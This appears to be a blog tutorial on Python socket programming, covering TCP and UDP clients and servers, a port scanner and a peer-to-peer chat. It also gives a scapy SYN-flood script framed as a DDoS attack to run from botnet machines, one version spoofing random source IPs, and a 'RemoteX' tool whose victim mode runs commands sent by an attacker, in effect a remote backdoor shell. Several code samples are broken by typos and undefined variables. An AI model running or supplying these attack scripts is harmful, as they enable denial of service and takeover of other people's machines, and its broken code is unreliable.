Socket Programming in Python

Socket programming is a method of allowing two network nodes to communicate with one another. One socket (node) listens on a specific port at an IP address, while the other socket establishes a connection. While the client connects to the server, the server creates the listener socket.

They are the proper foundations of online browsing. There is a server and a client, to put it simply.

Socket Programming in Python

Importing the socket library and creating a simple socket are the first steps in socket programming.

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

We created a socket instance and gave two parameters to it here. AF_INET is the first parameter, while SOCK_STREAM is the second.

AF_INET denotes the address-family ipv4. The connection-oriented TCP protocol is referred to as SOCK_STREAM.
We may now use this socket to connect to a server.

Connecting to a server

If an error happens when creating a socket, then socket.error is thrown, and the only way to connect to a server is to know its IP. Use the two approaches below to get the server’s IP address:

$ ping www.google.com

You may also use Python to find the IP as follows:

import socket

ip = socket.gethostbyname('www.google.com')
print(ip)

In this article, we will cover the following critical concepts about Socket Programming In Python.

  • Definition of Terms
  • How Internet Works
  • What is Socket
  • What is Socket Programming
  • TCP vs. UDP
  • What is Raw Socket
  • DDOS Attack

Definition of Terms

Here, we will examine the commonly used terms & their descriptions.

Domain

It is the protocol family that serves as the transport mechanism. Thus, constants like AF_INET, PF_INET, PF_UNIX, PF_X25, and so on are used to represent these values.

type

SOCK STREAM for connection-oriented protocols and SOCK_DGRAM for connectionless protocols is the type of communication between the two endpoints.

protocol

This value, usually 0, can identify a protocol variant within a type and a domain.

hostname

The network interface’s identifier:

  • A colon or dot notated string can be a hostname, a dotted-quad address, or an IPV6 address.
  • An INADDR_BROADCAST address is specified by the string “broadcast>.”
  • A zero-length string that specifies INADDR_ANY.
  • A binary address in host byte order, interpreted as an integer.

Port

Clients calling on one or more ports are detected by each server. A port can be a Fixnum port number, a string that contains a port number, or a service name.

socket_family

The socket_family is either AF_UNIX or AF_INET

socket_type

The socket_type is either a SOCK_STREAM or SOCK_DGRAM.

protocol

Most of the time, it is usually left out, defaulting to 0.

s.bind()

The s.bind() method binds address (hostname, port number pair) to the socket.

s.listen()

The s.listen() method sets up and starts a TCP listener.

s.accept()

The s.accept() method passively accept client connects from TCP, waiting until the connection arrives (blocking).

s.connect()

The so.connect() method actively initiates server connection on TCP.

s.recv()

The s.recv() method receives TCP message

s.send()

The s.send() method transmits TCP message

s.recvfrom()

The s.recvfrom() method receives UDP message

s.sendto()

The s.sendto() method transmits UDP message

s.close()

The s.close() method closes socket

socket.gethostname()

The socket.gethostname() method returns the hostname.

How Internet Works

Network refers to computers and devices connected with wires or wireless (WIFI). On the other hand, the Internet is a vast network that uses telephone lines, cables, satellites, and wireless connections to connect computers and other devices.

How the Internet Works
How the Internet Works

The communication through the Internet occurs through the OSI layer, and these comprise of :

1) The Application layer – deals with network process to application
2) Presentation Layer – Handles data representation as well as encryption
3) Session Layer – Deals with interhost communication
4) Transport Layer – The transport layer enforces end-to-end connections and reliability.
5) Network Layer – Deals with packets through path determination and IP, logical addressing.
6) Data Link Layer – This is a layer synonymous with frames and usually is about physical addressing – MAC & LLC
7) Physical Layer – Is usually is bits of signals, media, and binary transmission.

What is Socket and Socket Programming

A socket refers to a communication mechanism that allows clients and servers to connect based on specific rules.

On the other hand, Socket Programming is where we program our way and set the specific rules and protocols to use in this socket using a particular language, which is Python.

Socket Programming
Socket Programming

TCP vs. UDP

Two protocols are essential when dealing with Socket Programming. These consist of:

  • TCP (Transmission Control Protocol)
  • UDP (User Datagram Protocol)

What are the differences between the two protocols?

TCPUDP
ReliableUnreliable
Connection-orientedConnectionless
Segment retransmission and flow control through windowingNo windowing or retransmission
Segment sequencingNo Sequencing
Acknowledge segmentsNo acknowledgment



Reliable means we make sure that the packet we sent will reach without modification on it.

Connection-oriented means we establish a connection by three-way handshake, but UDP is connectionless, which means there is no three-way handshaking.

In TCP, we first initiate three-way handshaking before sending the data, whereas, in the UDP, we start sending the data immediately.

TCP vs UDP communication
TCP vs. UDP communication

Raw socket

A raw socket is a sort of socket that gives access to the transport provider’s underlying data. So it is because, except ATMs, most other protocols do not support raw sockets. Therefore, an application must have precise information on the underlying protocol to use raw sockets.

In addition, they are Internet socket that allows dial sending and receiving of the Internet protocol (packets without any protocols, specific sport layer) and will enable you to craft your packet with no specification TCP or UDP.

TCP Client Service

Client Code

from socket import *

host = "192.168.0.10"

s = socket(AF_INET, SOCK_STREAM)

s.connect((host, port))

msg =" this is from client."

s.send(msg.encode('ascii'))
R_msg = s.recv(1024)

print(R_msg.decode('ascii'))

s.close()


Server code

from socket import *

host ="192.168.0.10"

s = socket(AF_INET, SOCK_STREAM)

s.bind((host, port))

s.listen(5)

while True:
	c, addr = s.accept()
	print("[+] Got connection from ", addr )
	R_msg = c.recv(1024)
	print(R_mgs.decode('ascii'))
	msg =" this is from server"
	c.send(msg.encode('ascii'))
	c.close()

UDP Service

OSI model layer
OSI model layer

Client Code

from socket import *

server_address = ("192.168.0.10", 9000)

s = socket(AF_INET, SOCK_DGRAM)

msg = "this is from client"

s.sendto(msg.encode('ascii'), server_address)

data, server = s.recvfrom(1024)
print(data.decode('ascii'))

Server code

from socket import *

s = socket(AF_INET, SOCK_DGRAM)

server_addr = ('192.168.0.10', 9000)
s.bind(server_addr)

data, addr = s.recvfrom(1024)

print(data.decode('ascii'))

msg =" this is from the server."

s.sendto(msg.encode('ascii'), addr)

DDOS Attack

As an attacker, you control C & C servers (command and control). In turn, these servers control packets that will be sent to overwhelm the victim or target—all of these makeup what we call the BOTNET or the Bot Network.

Now, we will write the script that will send the packets, and this script must be on the bot’s computers or devices. So, each bot will send and use this script.

# ddos_attack.py

from scapy.all import *

source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")

source_port = int(input("Enter Source Port Number: "))

i = 1
 while True:
	IP1 = IP(src=source_IP, dst = target_IP)
	TCP1 = TCP(sport = source_port, dport = 80)
	pkt = IP1/TCP1
	
	send(pkt, inter =0.001)
	
	print("packet sent ", i)
	i = i +1

Randomly generate the source IP addresses from the network.

from scapy.all import *

target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number: "))

i = 1

while True:

	i1 = str(random.randint(1,254))
	i2 = str(random.randint(1,254))
	i3 = str(random.randint(1,254))
	i4 = str(random.randint(1,254))
	
	d = "."
	source_IP = i1 + d +i2 + d + i3 + d+ i4
	IP1 = IP(src=source_IP, dst = target_IP)
	TCP1 = TCP(sport = source_port, dport= 80)
	
	send(pkt, inter=0.001)
	
	print("packet sent ", I)
	i = i + 1

How do you check if it is sending or not?

By using any sniffer, you have, and our best recommendation is Wireshark.

A simple server-client application

Server

A server’s bind() method connects it to a specific IP address and port, allowing it to listen for incoming requests on that address and port. The listen() method on a server turns it into a listening server. It enables the server to receive incoming connections and listen for them. Finally, a server has two methods: accept() and close(). The accept method establishes a connection with the client, and the comparative process terminates that connection.

# first start by importing the socket library
import socket			

# creation of a socket object
sock = socket.socket()		
print ("Socket created successfully")

# reserve a port on your computer - in our case it is 9000, but it can be anything
port = 9000			

# bind to the port
# we have not typed any IP in the IP field, alternatively we inputted an empty string
# this makes the server listen to requests coming from other peers on the network
sock.bind(('', port))		
print ("socket bonded to %%s" %%(port))

# place the socket into listening mode
sock.listen(5)	
print ("socket is listening")		

# run a loop until we interrupt it or when an error occurs
while True:

	# Establish a connection with the client.
	c, ip_addr = sock.accept()	
	print ('Received connection from', ip_addr)

	# send a thank you message to the client. I am encoding to send byte type.
	c.send('Thank you for connecting'.encode())

	# Close client's connection
	c.close()

	# Break when connection is closed
	break

First and foremost, we import socket, which is required.

Then we created a socket object and assigned it to a port on our computer.

We then configured our server to use the provided port. If you pass an empty string, the server will be able to listen in on incoming connections from other computers as well. If we had given 127.0.0.1, it would have only listened to calls made from within the local computer.

The server was then put into listening mode.

Five connections are kept waiting if the server is busy, and if a 6th socket tries to connect, the connection is rejected.

Client

Now we need something that a server can communicate with. We could see tenet to the server like this to make sure it’s up and running. In the terminal, type the following commands:

# start the server
$ python server.py

keep the above terminal open then, now open another terminal and type:

$ telnet localhost 9000

Client-side

# import socket module
import socket			

# socket object creation
sock = socket.socket()		

# select the port on which you want to connect
port = 9000			

# connect to the server on local computer
sock.connect(('127.0.0.1', port))

# receive data from the server and decode to get the desired string.
print (s.recv(1024).decode())

# finally, the connection is closed
sock.close()

To begin, we’ll create a socket object.

Then we connect to localhost on port 9000 (our server’s port), get data from it, and end the connection.

After launching the server script, save this file as client.py and run it from the terminal.

Below are three applications of socket programming in real life.

Example 1: Advanced RemoteX with modes

This script will work in two modes:

  • Attacker mode
  • Victim Mode

In the Attacker mode, it will execute commands and control the victim’s machine completely. On the other hand, victim mode will open port and keep listening to execute the attacker’s commands and send the output back.

By design, the Victim Mode aimed to work on Linux machines because 80% (if not more ) of the servers are using Linux. However, the Attacker Mode can work on any system, for instance, Linux or Windows.

from socket import *
from sys import *
from argparse import *
from subprocess import *

def help():
	print("Usage: ./R.py -t <target_host> -p <port> \n")
	print("Examples: ")
	print(" Attacker mode")
	print(" ./R.py -t 192.168.8.103 -p 9000 \n")
	print(" Victim mode ")
	print("./R.py -1 -p 9000\n")

def main():
	if (len(argv[1:]) < 2):
		help()
	parser ArgumentParser(add_help=False)
	parser.add_argument('-t','-- target')
	parser.add_argument('-p', '--port', type=int)
	parser.add_argument('-l','--listen', action='store_true')
	args=parser.parse_args()

	s = socket(AF_INET,SOCK_DGRAM,0)

	# Victim Mode
	if(args.listen == True):
		if(args.target):
			print("Victim mode don't use -t")
			exit()
		s.bind(("0.0.0.0",args.port))

		while(True):
			msg, add = s.recvfrom(65000)
			
			com = msg.decode('ascii')
			data = com[0:].split(' ')
			
			if(len(data[0:])> 1):
				res = run([data[0], data[1]], stdout=PIPE)
			else:
				res = run([com], stdout=PIPE)
			here = res.stdout.decode('utf-8')
			s.sendto(here.encode('utf-8'), addr)

	# Attacker Mode
	else:
		while(True):
			c = input("Victim Machine #")
			s.sendto(c.encode('ascii'),(args.target, args.port))

			rmsg, addr = s.recvfrom(65000)

			print(rmsg.decode('utf-8'))

if(__name__ =='__main__':
	main()
python remote_x.py -t 192.168.0.10 -p 9000

Example 2: How Port Scanner Works

  • Half-Open
  • Full -Open

Half-open

  • Most Common
  • It is a relatively Quick Scan
  • It does not complete the handshake process
  • It simply syncs the packet with an SYN and waits for an SYN/ACK from the target. If we receive an SYN/ACK from the target, it means the port is open. Otherwise, it is closed. For instance, if we get REST
half-open port scanning
half-open port scanning

Full-Open

It is essentially the same as the half-open scan but instead, we finish the handshake with an SYN/ACK and establish a condition by sending the final ACK.

It is slower than half-open because it needs more packets to finish.

Other scans include:

  • TCP Scans
  • UDP Scans
  • Ping Scans
  • Stealth Scans
# port_s.py

from socket import *
from sys import *

target = argv[1]
port = int(argv[2])

s = socket(AF_INET, SOCK_STREAM)

try:
	s.connect((target, port))
	print("Port is Open")
except:
	print("Port is Closed")



python port_s.py 192.168.0.10 80

Scanning for a range of ports

from socket import *
from sys import *

target = argv[1]
for I in range(1,5000):
	s = socket(AF_INET, SOCK_STREAM)

	try:
		s.connect((target, I))
		print("Port %%d is Open" %% i)
		s.close()
	except:
		print("Port %%d is Closed" %%i)
		s.close()

python port_s.py 192.168.0.10

Example 3: UDP Chating System Peer to Peer

# peer1.py


from socket import *
from threading import *

def Recving(s,o):
	while True:
		data, addr = s.recvfrom(1024)
		if(o and data.decode('ascii')=="OK!"):
			print("[+] Connected Successfully ")
		wel="OK!"
		s.sendto(wel.encode('ascii'), target)
		o=False
		continue
	print(data.decode('ascii'))

my_addr = ("192.168.0.10", 9999)
t_ip=input("Target IP:")
target=(t_ip, 9999)

s = socket(AF_INET,SOCK_DGRAM)
s.bind(my_addr)

print("Waiting Connection")

wel="OK!"
s.sendto(wel.encode('ascii'), target)

once = True
x = Thread(target=Recving, args=(s,once))
x.start()

while True:
	msg = input("")
	s.sendto(msg.encode('ascii'), target)


    

# peer2.py

from socket import *
from threading import *

def Recving(s, o):
	while True:
		data, server = s.recvfrom(1024)
		
		if(o and data.decode('ascii') == "OK!"):
			print("[+] Connected successfully")
			wel = "OK!"
			s.sendto(wel.encode('ascii'), target)
			o = False
			continue
		print(data.decode('ascii')
	


my_addr =('192.168.8.103',9999)
t_ip = input("Target IP :")
target =(t_ip, 9999)

print("waiting connection")

s = socket(AF_INET, SOCK_DGRAM)
s.bind(my_addr)

once = True

x = Thread(target=Recving, args=(s, once))
x.start()

wel="OK!"
s.sendto(wel.encode('ascii'), target)

Similar Posts

Leave a Reply

Your email address will not be published. Required fields are marked *